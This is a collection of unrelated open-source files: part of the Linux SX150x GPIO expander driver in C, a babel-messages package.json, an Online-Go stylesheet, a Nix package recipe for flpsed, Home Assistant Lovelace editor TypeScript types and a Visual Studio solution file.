gpiochip_get_data(chip); unsigned int value; int ret; if (sx150x_pin_is_oscio(pctl, offset)) return GPIO_LINE_DIRECTION_OUT; ret = regmap_read(pctl->regmap, pctl->data->reg_dir, &value); if (ret < 0) return ret; if (value & BIT(offset)) return GPIO_LINE_DIRECTION_IN; return GPIO_LINE_DIRECTION_OUT; } static int sx150x_gpio_get(struct gpio_chip *chip, unsigned int offset) { struct sx150x_pinctrl *pctl = gpiochip_get_data(chip); unsigned int value; int ret; if (sx150x_pin_is_oscio(pctl, offset)) return -EINVAL; ret = regmap_read(pctl->regmap, pctl->data->reg_data, &value); if (ret < 0) return ret; return !!(value & BIT(offset)); } static int __sx150x_gpio_set(struct sx150x_pinctrl *pctl, unsigned int offset, int value) { return regmap_write_bits(pctl->regmap, pctl->data->reg_data, BIT(offset), value ? BIT(offset) : 0); } static int sx150x_gpio_oscio_set(struct sx150x_pinctrl *pctl, int value) { return regmap_write(pctl->regmap, pctl->data->pri.x789.reg_clock, (value ? 0x1f : 0x10)); } static void sx150x_gpio_set(struct gpio_chip *chip, unsigned int offset, int value) { struct sx150x_pinctrl *pctl = gpiochip_get_data(chip); if (sx150x_pin_is_oscio(pctl, offset)) sx150x_gpio_oscio_set(pctl, value); else __sx150x_gpio_set(pctl, offset, value); } static void sx150x_gpio_set_multiple(struct gpio_chip *chip, unsigned long *mask, unsigned long *bits) { struct sx150x_pinctrl *pctl = gpiochip_get_data(chip); regmap_write_bits(pctl->regmap, pctl->data->reg_data, *mask, *bits); } static int sx150x_gpio_direction_input(struct gpio_chip *chip, unsigned int offset) { struct sx150x_pinctrl *pctl = gpiochip_get_data(chip); if (sx150x_pin_is_oscio(pctl, offset)) return -EINVAL; return regmap_write_bits(pctl->regmap, pctl->data->reg_dir, BIT(offset), BIT(offset)); } static int sx150x_gpio_direction_output(struct gpio_chip *chip, unsigned int offset, int value) { struct sx150x_pinctrl *pctl = gpiochip_get_data(chip); int ret; if (sx150x_pin_is_oscio(pctl, offset)) return sx150x_gpio_oscio_set(pctl, value); ret = __sx150x_gpio_set(pctl, offset, value); if (ret < 0) return ret; return regmap_write_bits(pctl->regmap, pctl->data->reg_dir, BIT(offset), 0); } static void sx150x_irq_mask(struct irq_data *d) { struct sx150x_pinctrl *pctl = gpiochip_get_data(irq_data_get_irq_chip_data(d)); unsigned int n = d->hwirq; pctl->irq.masked |= BIT(n); } static void sx150x_irq_unmask(struct irq_data *d) { struct sx150x_pinctrl *pctl = gpiochip_get_data(irq_data_get_irq_chip_data(d)); unsigned int n = d->hwirq; pctl->irq.masked &= ~BIT(n); } static void sx150x_irq_set_sense(struct sx150x_pinctrl *pctl, unsigned int line, unsigned int sense) { /* * Every interrupt line is represented by two bits shifted * proportionally to the line number */ const unsigned int n = line * 2; const unsigned int mask = ~((SX150X_IRQ_TYPE_EDGE_RISING | SX150X_IRQ_TYPE_EDGE_FALLING) << n); pctl->irq.sense &= mask; pctl->irq.sense |= sense << n; } static int sx150x_irq_set_type(struct irq_data *d, unsigned int flow_type) { struct sx150x_pinctrl *pctl = gpiochip_get_data(irq_data_get_irq_chip_data(d)); unsigned int n, val = 0; if (flow_type & (IRQ_TYPE_LEVEL_HIGH | IRQ_TYPE_LEVEL_LOW)) return -EINVAL; n = d->hwirq; if (flow_type & IRQ_TYPE_EDGE_RISING) val |= SX150X_IRQ_TYPE_EDGE_RISING; if (flow_type & IRQ_TYPE_EDGE_FALLING) val |= SX150X_IRQ_TYPE_EDGE_FALLING; sx150x_irq_set_sense(pctl, n, val); return 0; } static irqreturn_t sx150x_irq_thread_fn(int irq, void *dev_id) { struct sx150x_pinctrl *pctl = (struct sx150x_pinctrl *)dev_id; unsigned long n, status; unsigned int val; int err; err = regmap_read(pctl->regmap, pctl->data->reg_irq_src, &val); if (err < 0) return IRQ_NONE; err = regmap_write(pctl->regmap, pctl->data->reg_irq_src, val); if (err < 0) return IRQ_NONE; status = val; for_each_set_bit(n, &status, pctl->data->ngpios) handle_nested_irq(irq_find_mapping(pctl->gpio.irq.domain, n)); return IRQ_HANDLED; } static void sx150x_irq_bus_lock(struct irq_data *d) { struct sx150x_pinctrl *pctl = gpiochip_get_data(irq_data_get_irq_chip_data(d)); mutex_lock(&pctl->lock); } static void sx150x_irq_bus_sync_unlock(struct irq_data *d) { struct sx150x_pinctrl *pctl = gpiochip_get_data(irq_data_get_irq_chip_data(d)); regmap_write(pctl->regmap, pctl->data->reg_irq_mask, pctl->irq.masked); regmap_write(pctl->regmap, pctl->data->reg_sense, pctl->irq.sense); mutex_unlock(&pctl->lock); } static int sx150x_pinconf_get(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *config) { struct sx150x_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev); unsigned int param = pinconf_to_config_param(*config); int ret; u32 arg; unsigned int data; if (sx150x_pin_is_oscio(pctl, pin)) { switch (param) { case PIN_CONFIG_DRIVE_PUSH_PULL: case PIN_CONFIG_OUTPUT: ret = regmap_read(pctl->regmap, pctl->data->pri.x789.reg_clock, &data); if (ret < 0) return ret; if (param == PIN_CONFIG_DRIVE_PUSH_PULL) arg = (data & 0x1f) ? 1 : 0; else { if ((data & 0x1f) == 0x1f) arg = 1; else if ((data & 0x1f) == 0x10) arg = 0; else return -EINVAL; } break; default: return -ENOTSUPP; } goto out; } switch (param) { case PIN_CONFIG_BIAS_PULL_DOWN: ret = regmap_read(pctl->regmap, pctl->data->reg_pulldn, &data); data &= BIT(pin); if (ret < 0) return ret; if (!ret) return -EINVAL; arg = 1; break; case PIN_CONFIG_BIAS_PULL_UP: ret = regmap_read(pctl->regmap, pctl->data->reg_pullup, &data); data &= BIT(pin); if (ret < 0) return ret; if (!ret) return -EINVAL; arg = 1; break; case PIN_CONFIG_DRIVE_OPEN_DRAIN: if (pctl->data->model != SX150X_789) return -ENOTSUPP; ret = regmap_read(pctl->regmap, pctl->data->pri.x789.reg_drain, &data); data &= BIT(pin); if (ret < 0) return ret; if (!data) return -EINVAL; arg = 1; break; case PIN_CONFIG_DRIVE_PUSH_PULL: if (pctl->data->model != SX150X_789) arg = true; else { ret = regmap_read(pctl->regmap, pctl->data->pri.x789.reg_drain, &data); data &= BIT(pin); if (ret < 0) return ret; if (data) return -EINVAL; arg = 1; } break; case PIN_CONFIG_OUTPUT: ret = sx150x_gpio_get_direction(&pctl->gpio, pin); if (ret < 0) return ret; if (ret == GPIO_LINE_DIRECTION_IN) return -EINVAL; ret = sx150x_gpio_get(&pctl->gpio, pin); if (ret < 0) return ret; arg = ret; break; default: return -ENOTSUPP; } out: *config = pinconf_to_config_packed(param, arg); return 0; } static int sx150x_pinconf_set(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *configs, unsigned int num_configs) { struct sx150x_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev); enum pin_config_param param; u32 arg; int i; int ret; for (i = 0; i < num_configs; i++) { param = pinconf_to_config_param(configs[i]); arg = pinconf_to_config_argument(configs[i]); if (sx150x_pin_is_oscio(pctl, pin)) { if (param == PIN_CONFIG_OUTPUT) { ret = sx150x_gpio_direction_output(&pctl->gpio, pin, arg); if (ret < 0) return ret; continue; } else return -ENOTSUPP; } switch (param) { case PIN_CONFIG_BIAS_PULL_PIN_DEFAULT: case PIN_CONFIG_BIAS_DISABLE: ret = regmap_write_bits(pctl->regmap, pctl->data->reg_pulldn, BIT(pin), 0); if (ret < 0) return ret; ret = regmap_write_bits(pctl->regmap, pctl->data->reg_pullup, BIT(pin), 0); if (ret < 0) return ret; break; case PIN_CONFIG_BIAS_PULL_UP: ret = regmap_write_bits(pctl->regmap, pctl->data->reg_pullup, BIT(pin), BIT(pin)); if (ret < 0) return ret; break; case PIN_CONFIG_BIAS_PULL_DOWN: ret = regmap_write_bits(pctl->regmap, pctl->data->reg_pulldn, BIT(pin), BIT(pin)); if (ret < 0) return ret; break; case PIN_CONFIG_DRIVE_OPEN_DRAIN: if (pctl->data->model != SX150X_789 || sx150x_pin_is_oscio(pctl, pin)) return -ENOTSUPP; ret = regmap_write_bits(pctl->regmap, pctl->data->pri.x789.reg_drain, BIT(pin), BIT(pin)); if (ret < 0) return ret; break; case PIN_CONFIG_DRIVE_PUSH_PULL: if (pctl->data->model != SX150X_789 || sx150x_pin_is_oscio(pctl, pin)) return 0; ret = regmap_write_bits(pctl->regmap, pctl->data->pri.x789.reg_drain, BIT(pin), 0); if (ret < 0) return ret; break; case PIN_CONFIG_OUTPUT: ret = sx150x_gpio_direction_output(&pctl->gpio, pin, arg); if (ret < 0) return ret; break; default: return -ENOTSUPP; } } /* for each config */ return 0; } static const struct pinconf_ops sx150x_pinconf_ops = { .pin_config_get = sx150x_pinconf_get, .pin_config_set = sx150x_pinconf_set, .is_generic = true, }; static const struct i2c_device_id sx150x_id[] = { {"sx1501q", (kernel_ulong_t) &sx1501q_device_data }, {"sx1502q", (kernel_ulong_t) &sx1502q_device_data }, {"sx1503q", (kernel_ulong_t) &sx1503q_device_data }, {"sx1504q", (kernel_ulong_t) &sx1504q_device_data }, {"sx1505q", (kernel_ulong_t) &sx1505q_device_data }, {"sx1506q", (kernel_ulong_t) &sx1506q_device_data }, {"sx1507q", (kernel_ulong_t) &sx1507q_device_data }, {"sx1508q", (kernel_ulong_t) &sx1508q_device_data }, {"sx1509q", (kernel_ulong_t) &sx1509q_device_data }, {} }; static const struct of_device_id sx150x_of_match[] = { { .compatible = "semtech,sx1501q", .data = &sx1501q_device_data }, { .compatible = "semtech,sx1502q", .data = &sx1502q_device_data }, { .compatible = "semtech,sx1503q", .data = &sx1503q_device_data }, { .compatible = "semtech,sx1504q", .data = &sx1504q_device_data }, { .compatible = "semtech,sx1505q", .data = &sx1505q_device_data }, { .compatible = "semtech,sx1506q", .data = &sx1506q_device_data }, { .compatible = "semtech,sx1507q", .data = &sx1507q_device_data }, { .compatible = "semtech,sx1508q", .data = &sx1508q_device_data }, { .compatible = "semtech,sx1509q", .data = &sx1509q_device_data }, {}, }; static int sx150x_reset(struct sx150x_pinctrl *pctl) { int err; err = i2c_smbus_write_byte_data(pctl->client, pctl->data->pri.x789.reg_reset, SX150X_789_RESET_KEY1); if (err < 0) return err; err = i2c_smbus_write_byte_data(pctl->client, pctl->data->pri.x789.reg_reset, SX150X_789_RESET_KEY2); return err; } static int sx150x_init_misc(struct sx150x_pinctrl *pctl) { u8 reg, value; switch (pctl->data->model) { case SX150X_789: reg = pctl->data->pri.x789.reg_misc; value = SX150X_789_REG_MISC_AUTOCLEAR_OFF; break; case SX150X_456: reg = pctl->data->pri.x456.reg_advanced; value = 0x00; /* * Only SX1506 has RegAdvanced, SX1504/5 are expected * to initialize this offset to zero */ if (!reg) return 0; break; case SX150X_123: reg = pctl->data->pri.x123.reg_advanced; value = 0x00; break; default: WARN(1, "Unknown chip model %d\n", pctl->data->model); return -EINVAL; } return regmap_write(pctl->regmap, reg, value); } static int sx150x_init_hw(struct sx150x_pinctrl *pctl) { const u8 reg[] = { [SX150X_789] = pctl->data->pri.x789.reg_polarity, [SX150X_456] = pctl->data->pri.x456.reg_pld_mode, [SX150X_123] = pctl->data->pri.x123.reg_pld_mode, }; int err; if (pctl->data->model == SX150X_789 && of_property_read_bool(pctl->dev->of_node, "semtech,probe-reset")) { err = sx150x_reset(pctl); if (err < 0) return err; } err = sx150x_init_misc(pctl); if (err < 0) return err; /* Set all pins to work in normal mode */ return regmap_write(pctl->regmap, reg[pctl->data->model], 0); } static int sx150x_regmap_reg_width(struct sx150x_pinctrl *pctl, unsigned int reg) { const struct sx150x_device_data *data = pctl->data; if (reg == data->reg_sense) { /* * RegSense packs two bits of configuration per GPIO, * so we'd need to read twice as many bits as there * are GPIO in our chip */ return 2 * data->ngpios; } else if ((data->model == SX150X_789 && (reg == data->pri.x789.reg_misc || reg == data->pri.x789.reg_clock || reg == data->pri.x789.reg_reset)) || (data->model == SX150X_123 && reg == data->pri.x123.reg_advanced) || (data->model == SX150X_456 && data->pri.x456.reg_advanced && reg == data->pri.x456.reg_advanced)) { return 8; } else { return data->ngpios; } } static unsigned int sx150x_maybe_swizzle(struct sx150x_pinctrl *pctl, unsigned int reg, unsigned int val) { unsigned int a, b; const struct sx150x_device_data *data = pctl->data; /* * Whereas SX1509 presents RegSense in a simple layout as such: * reg [ f f e e d d c c ] * reg + 1 [ b b a a 9 9 8 8 ] * reg + 2 [ 7 7 6 6 5 5 4 4 ] * reg + 3 [ 3 3 2 2 1 1 0 0 ] * * SX1503 and SX1506 deviate from that data layout, instead storing * their contents as follows: * * reg [ f f e e d d c c ] * reg + 1 [ 7 7 6 6 5 5 4 4 ] * reg + 2 [ b b a a 9 9 8 8 ] * reg + 3 [ 3 3 2 2 1 1 0 0 ] * * so, taking that into account, we swap two * inner bytes of a 4-byte result */ if (reg == data->reg_sense && data->ngpios == 16 && (data->model == SX150X_123 || data->model == SX150X_456)) { a = val & 0x00ff0000; b = val & 0x0000ff00; val &= 0xff0000ff; val |= b << 8; val |= a >> 8; } return val; } /* * In order to mask the differences between 16 and 8 bit expander * devices we set up a sligthly ficticious regmap that pretends to be * a set of 32-bit (to accommodate RegSenseLow/RegSenseHigh * pair/quartet) registers and transparently reconstructs those * registers via multiple I2C/SMBus reads * * This way the rest of the driver code, interfacing with the chip via * regmap API, can work assuming that each GPIO pin is represented by * a group of bits at an offset proportional to GPIO number within a * given register. */ static int sx150x_regmap_reg_read(void *context, unsigned int reg, unsigned int *result) { int ret, n; struct sx150x_pinctrl *pctl = context; struct i2c_client *i2c = pctl->client; const int width = sx150x_regmap_reg_width(pctl, reg); unsigned int idx, val; /* * There are four potential cases covered by this function: * * 1) 8-pin chip, single configuration bit register * * This is trivial the code below just needs to read: * reg [ 7 6 5 4 3 2 1 0 ] * * 2) 8-pin chip, double configuration bit register (RegSense) * * The read will be done as follows: * reg [ 7 7 6 6 5 5 4 4 ] * reg + 1 [ 3 3 2 2 1 1 0 0 ] * * 3) 16-pin chip, single configuration bit register * * The read will be done as follows: * reg [ f e d c b a 9 8 ] * reg + 1 [ 7 6 5 4 3 2 1 0 ] * * 4) 16-pin chip, double configuration bit register (RegSense) * * The read will be done as follows: * reg [ f f e e d d c c ] * reg + 1 [ b b a a 9 9 8 8 ] * reg + 2 [ 7 7 6 6 5 5 4 4 ] * reg + 3 [ 3 3 2 2 1 1 0 0 ] */ for (n = width, val = 0, idx = reg; n > 0; n -= 8, idx++) { val <<= 8; ret = i2c_smbus_read_byte_data(i2c, idx); if (ret < 0) return ret; val |= ret; } *result = sx150x_maybe_swizzle(pctl, reg, val); return 0; } static int sx150x_regmap_reg_write(void *context, unsigned int reg, unsigned int val) { int ret, n; struct sx150x_pinctrl *pctl = context; struct i2c_client *i2c = pctl->client; const int width = sx150x_regmap_reg_width(pctl, reg); val = sx150x_maybe_swizzle(pctl, reg, val); n = (width - 1) & ~7; do { const u8 byte = (val >> n) & 0xff; ret = i2c_smbus_write_byte_data(i2c, reg, byte); if (ret < 0) return ret; reg++; n -= 8; } while (n >= 0); return 0; } static bool sx150x_reg_volatile(struct device *dev, unsigned int reg) { struct sx150x_pinctrl *pctl = i2c_get_clientdata(to_i2c_client(dev)); return reg == pctl->data->reg_irq_src || reg == pctl->data->reg_data; } static const struct regmap_config sx150x_regmap_config = { .reg_bits = 8, .val_bits = 32, .cache_type = REGCACHE_RBTREE, .reg_read = sx150x_regmap_reg_read, .reg_write = sx150x_regmap_reg_write, .max_register = SX150X_MAX_REGISTER, .volatile_reg = sx150x_reg_volatile, }; static int sx150x_probe(struct i2c_client *client, const struct i2c_device_id *id) { static const u32 i2c_funcs = I2C_FUNC_SMBUS_BYTE_DATA | I2C_FUNC_SMBUS_WRITE_WORD_DATA; struct device *dev = &client->dev; struct sx150x_pinctrl *pctl; int ret; if (!i2c_check_functionality(client->adapter, i2c_funcs)) return -ENOSYS; pctl = devm_kzalloc(dev, sizeof(*pctl), GFP_KERNEL); if (!pctl) return -ENOMEM; i2c_set_clientdata(client, pctl); pctl->dev = dev; pctl->client = client; if (dev->of_node) pctl->data = of_device_get_match_data(dev); else pctl->data = (struct sx150x_device_data *)id->driver_data; if (!pctl->data) return -EINVAL; pctl->regmap = devm_regmap_init(dev, NULL, pctl, &sx150x_regmap_config); if (IS_ERR(pctl->regmap)) { ret = PTR_ERR(pctl->regmap); dev_err(dev, "Failed to allocate register map: %d\n", ret); return ret; } mutex_init(&pctl->lock); ret = sx150x_init_hw(pctl); if (ret) return ret; /* Pinctrl_desc */ pctl->pinctrl_desc.name = "sx150x-pinctrl"; pctl->pinctrl_desc.pctlops = &sx150x_pinctrl_ops; pctl->pinctrl_desc.confops = &sx150x_pinconf_ops; pctl->pinctrl_desc.pins = pctl->data->pins; pctl->pinctrl_desc.npins = pctl->data->npins; pctl->pinctrl_desc.owner = THIS_MODULE; ret = devm_pinctrl_register_and_init(dev, &pctl->pinctrl_desc, pctl, &pctl->pctldev); if (ret) { dev_err(dev, "Failed to register pinctrl device\n"); return ret; } ret = pinctrl_enable(pctl->pctldev); if (ret) { dev_err(dev, "Failed to enable pinctrl device\n"); return ret; } /* Register GPIO controller */ pctl->gpio.base = -1; pctl->gpio.ngpio = pctl->data->npins; pctl->gpio.get_direction = sx150x_gpio_get_direction; pctl->gpio.direction_input = sx150x_gpio_direction_input; pctl->gpio.direction_output = sx150x_gpio_direction_output; pctl->gpio.get = sx150x_gpio_get; pctl->gpio.set = sx150x_gpio_set; pctl->gpio.set_config = gpiochip_generic_config; pctl->gpio.parent = dev; #ifdef CONFIG_OF_GPIO pctl->gpio.of_node = dev->of_node; #endif pctl->gpio.can_sleep = true; pctl->gpio.label = devm_kstrdup(dev, client->name, GFP_KERNEL); if (!pctl->gpio.label) return -ENOMEM; /* * Setting multiple pins is not safe when all pins are not * handled by the same regmap register. The oscio pin (present * on the SX150X_789 chips) lives in its own register, so * would require locking that is not in place at this time. */ if (pctl->data->model != SX150X_789) pctl->gpio.set_multiple = sx150x_gpio_set_multiple; /* Add Interrupt support if an irq is specified */ if (client->irq > 0) { struct gpio_irq_chip *girq; pctl->irq_chip.irq_mask = sx150x_irq_mask; pctl->irq_chip.irq_unmask = sx150x_irq_unmask; pctl->irq_chip.irq_set_type = sx150x_irq_set_type; pctl->irq_chip.irq_bus_lock = sx150x_irq_bus_lock; pctl->irq_chip.irq_bus_sync_unlock = sx150x_irq_bus_sync_unlock; pctl->irq_chip.name = devm_kstrdup(dev, client->name, GFP_KERNEL); if (!pctl->irq_chip.name) return -ENOMEM; pctl->irq.masked = ~0; pctl->irq.sense = 0; /* * Because sx150x_irq_threaded_fn invokes all of the * nested interrupt handlers via handle_nested_irq, * any "handler" assigned to struct gpio_irq_chip * below is going to be ignored, so the choice of the * function does not matter that much. * * We set it to handle_bad_irq to avoid confusion, * plus it will be instantly noticeable if it is ever * called (should not happen) */ girq = &pctl->gpio.irq; girq->chip = &pctl->irq_chip; /* This will let us handle the parent IRQ in the driver */ girq->parent_handler = NULL; girq->num_parents = 0; girq->parents = NULL; girq->default_type = IRQ_TYPE_NONE; girq->handler = handle_bad_irq; girq->threaded = true; ret = devm_request_threaded_irq(dev, client->irq, NULL, sx150x_irq_thread_fn, IRQF_ONESHOT | IRQF_SHARED | IRQF_TRIGGER_FALLING, pctl->irq_chip.name, pctl); if (ret < 0) return ret; } ret = devm_gpiochip_add_data(dev, &pctl->gpio, pctl); if (ret) return ret; ret = gpiochip_add_pin_range(&pctl->gpio, dev_name(dev), 0, 0, pctl->data->npins); if (ret) return ret; return 0; } static struct i2c_driver sx150x_driver = { .driver = { .name = "sx150x-pinctrl", .of_match_table = of_match_ptr(sx150x_of_match), }, .probe = sx150x_probe, .id_table = sx150x_id, }; static int __init sx150x_init(void) { return i2c_add_driver(&sx150x_driver); } subsys_initcall(sx150x_init);
{ "pile_set_name": "Github" }
{ "_args": [ [ "babel-messages@^6.8.0", "C:\\code\\git-oa\\wechat-devtools\\src\\node_modules\\babel-core" ] ], "_cnpm_publish_time": 1462232652056, "_from": "babel-messages@>=6.8.0 <7.0.0", "_id": "babel-messages@6.8.0", "_inCache": true, "_installable": true, "_location": "/babel-messages", "_nodeVersion": "5.1.0", "_npmOperationalInternal": { "host": "packages-16-east.internal.npmjs.com", "tmp": "tmp/babel-messages-6.8.0.tgz_1462232650913_0.2572917281650007" }, "_npmUser": { "email": "hi@henryzoo.com", "name": "hzoo" }, "_npmVersion": "3.8.6", "_phantomChildren": {}, "_requested": { "name": "babel-messages", "raw": "babel-messages@^6.8.0", "rawSpec": "^6.8.0", "scope": null, "spec": ">=6.8.0 <7.0.0", "type": "range" }, "_requiredBy": [ "/babel-core", "/babel-generator", "/babel-helper-replace-supers", "/babel-plugin-transform-es2015-classes", "/babel-traverse" ], "_resolved": "http://r.tnpm.oa.com/babel-messages/download/babel-messages-6.8.0.tgz", "_shasum": "bf504736ca967e6d65ef0adb5a2a5f947c8e0eb9", "_shrinkwrap": null, "_spec": "babel-messages@^6.8.0", "_where": "C:\\code\\git-oa\\wechat-devtools\\src\\node_modules\\babel-core", "author": { "email": "sebmck@gmail.com", "name": "Sebastian McKenzie" }, "dependencies": { "babel-runtime": "^6.0.0" }, "description": "Collection of debug messages used by Babel.", "devDependencies": {}, "directories": {}, "dist": { "key": "/babel-messages/-/babel-messages-6.8.0.tgz", "noattachment": false, "shasum": "bf504736ca967e6d65ef0adb5a2a5f947c8e0eb9", "size": 2487, "tarball": "http://r.tnpm.oa.com/babel-messages/download/babel-messages-6.8.0.tgz" }, "homepage": "https://babeljs.io/", "license": "MIT", "main": "lib/index.js", "maintainers": [ { "email": "amjad.masad@gmail.com", "name": "amasad" }, { "email": "hi@henryzoo.com", "name": "hzoo" }, { "email": "npm-public@jessemccarthy.net", "name": "jmm" }, { "email": "loganfsmyth@gmail.com", "name": "loganfsmyth" }, { "email": "sebmck@gmail.com", "name": "sebmck" }, { "email": "me@thejameskyle.com", "name": "thejameskyle" } ], "name": "babel-messages", "optionalDependencies": {}, "publish_time": 1462232652056, "readme": "ERROR: No README data found!", "repository": { "type": "git", "url": "https://github.com/babel/babel/tree/master/packages/babel-messages" }, "scripts": {}, "version": "6.8.0" }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2012-2020 Online-Go.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ .Group { .banner { text-align: center; img { max-width: 100vw; max-height: 20vh; } .fa-picture-o { font-size: 15vh; themed color shade3 } .fa-picture-o:hover { themed color shade2 } } .admins { margin-bottom: 1rem; >b, >span { margin-right:1rem; } } .fa-pencil, .fa-save { position: absolute; top: 1rem; right: 1rem; cursor: pointer; } .Dropzone { cursor: pointer; border: 2px dashed #888; } .Dropzone-128 { height: 128px; width: 128px; } .Player { margin-right:0.5em; } textarea { width: 100%; margin-top: 1rem; margin-bottom: 1rem; } .pad { margin-top: 0.5rem; margin-bottom: 0.5rem; } .new-news { margin: 0.5rem; input { width: 100%; } } .news th.none { display: none; } .Card { overflow-x: auto; } .EmbeddedChatCard { flex-shrink: 0; flex-grow: 1; min-width: 15rem; flex-basis: 15rem; height: 40rem; overflow: hidden; .Chat { } } .ladders { div { text-align: center; margin: 0.5rem; } } .invitation-requests { .fa { display: inline-block; width: 1.1rem; height: 1.1rem; text-align: center; margin-left: 0.2rem; margin-right: 0.2rem; border-radius: 0.1rem; themed color colored-background-fg cursor: pointer; } .fa-times { themed background-color reject } .fa-check { themed background-color success } } }
{ "pile_set_name": "Github" }
{ stdenv, fetchurl, fltk13, ghostscript }: stdenv.mkDerivation rec { pname = "flpsed"; version = "0.7.3"; src = fetchurl { url = "http://www.flpsed.org/${pname}-${version}.tar.gz"; sha256 = "0vngqxanykicabhfdznisv82k5ypkxwg0s93ms9ribvhpm8vf2xp"; }; buildInputs = [ fltk13 ]; postPatch = '' # replace the execvp call to ghostscript sed -e '/exec_gs/ {n; s|"gs"|"${stdenv.lib.getBin ghostscript}/bin/gs"|}' \ -i src/GsWidget.cxx ''; meta = with stdenv.lib; { description = "WYSIWYG PostScript annotator"; homepage = "https://flpsed.org/flpsed.html"; license = licenses.gpl3; platforms = platforms.linux; maintainers = with maintainers; [ ]; }; }
{ "pile_set_name": "Github" }
import { any, array, boolean, object, optional, string, union, } from "superstruct"; import { ActionConfig, LovelaceCardConfig, LovelaceViewConfig, ShowViewConfig, } from "../../../data/lovelace"; import { EntityId } from "../common/structs/is-entity-id"; import { Icon } from "../common/structs/is-icon"; import { EntityConfig } from "../entity-rows/types"; export interface YamlChangedEvent extends Event { detail: { yaml: string; }; } export interface GUIModeChangedEvent { guiMode: boolean; guiModeAvailable: boolean; } export interface ViewEditEvent extends Event { detail: { config: LovelaceViewConfig; }; } export interface ViewVisibilityChangeEvent { visible: ShowViewConfig[]; } export interface ConfigValue { format: "json" | "yaml"; value?: string | LovelaceCardConfig; } export interface ConfigError { type: string; message: string; } export interface EntitiesEditorEvent { detail?: { entities?: EntityConfig[]; }; target?: EventTarget; } export interface EditorTarget extends EventTarget { value?: string; index?: number; checked?: boolean; configValue?: string; type?: HTMLInputElement["type"]; config: ActionConfig; } export interface Card { type: string; name?: string; description?: string; showElement?: boolean; isCustom?: boolean; } export interface CardPickTarget extends EventTarget { config: LovelaceCardConfig; } export const actionConfigStruct = object({ action: string(), navigation_path: optional(string()), url_path: optional(string()), service: optional(string()), service_data: optional(object()), }); const buttonEntitiesRowConfigStruct = object({ type: string(), name: string(), action_name: optional(string()), tap_action: actionConfigStruct, hold_action: optional(actionConfigStruct), double_tap_action: optional(actionConfigStruct), }); const castEntitiesRowConfigStruct = object({ type: string(), view: string(), dashboard: optional(string()), name: optional(string()), icon: optional(string()), hide_if_unavailable: optional(string()), }); const callServiceEntitiesRowConfigStruct = object({ type: string(), name: string(), icon: optional(string()), action_name: optional(string()), service: string(), service_data: optional(any()), }); const conditionalEntitiesRowConfigStruct = object({ type: string(), row: any(), conditions: array( object({ entity: string(), state: optional(string()), state_not: optional(string()), }) ), }); const dividerEntitiesRowConfigStruct = object({ type: string(), style: optional(any()), }); const sectionEntitiesRowConfigStruct = object({ type: string(), label: optional(string()), }); const webLinkEntitiesRowConfigStruct = object({ type: string(), url: string(), name: optional(string()), icon: optional(string()), }); const buttonsEntitiesRowConfigStruct = object({ type: string(), entities: array( union([ object({ entity: string(), icon: optional(string()), image: optional(string()), name: optional(string()), }), EntityId, ]) ), }); const attributeEntitiesRowConfigStruct = object({ type: string(), entity: string(), attribute: string(), prefix: optional(string()), suffix: optional(string()), name: optional(string()), }); export const entitiesConfigStruct = union([ object({ entity: EntityId, name: optional(string()), icon: optional(Icon), image: optional(string()), secondary_info: optional(string()), format: optional(string()), state_color: optional(boolean()), tap_action: optional(actionConfigStruct), hold_action: optional(actionConfigStruct), double_tap_action: optional(actionConfigStruct), }), EntityId, buttonEntitiesRowConfigStruct, castEntitiesRowConfigStruct, conditionalEntitiesRowConfigStruct, dividerEntitiesRowConfigStruct, sectionEntitiesRowConfigStruct, webLinkEntitiesRowConfigStruct, buttonsEntitiesRowConfigStruct, attributeEntitiesRowConfigStruct, callServiceEntitiesRowConfigStruct, ]);
{ "pile_set_name": "Github" }
 Microsoft Visual Studio Solution File, Format Version 10.00 # Visual Studio 2008 # SharpDevelop 3.2.0.5777 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CodeEditor", "CodeEditor.csproj", "{A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU Debug|x86 = Debug|x86 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Debug|Any CPU.Build.0 = Debug|Any CPU {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Release|Any CPU.Build.0 = Release|Any CPU {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Release|Any CPU.ActiveCfg = Release|Any CPU {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Debug|x86.Build.0 = Debug|x86 {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Debug|x86.ActiveCfg = Debug|x86 {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Release|x86.Build.0 = Release|x86 {A63D2EA4-D87C-459B-B57F-19A76A7ADAF0}.Release|x86.ActiveCfg = Release|x86 EndGlobalSection EndGlobal
{ "pile_set_name": "Github" }
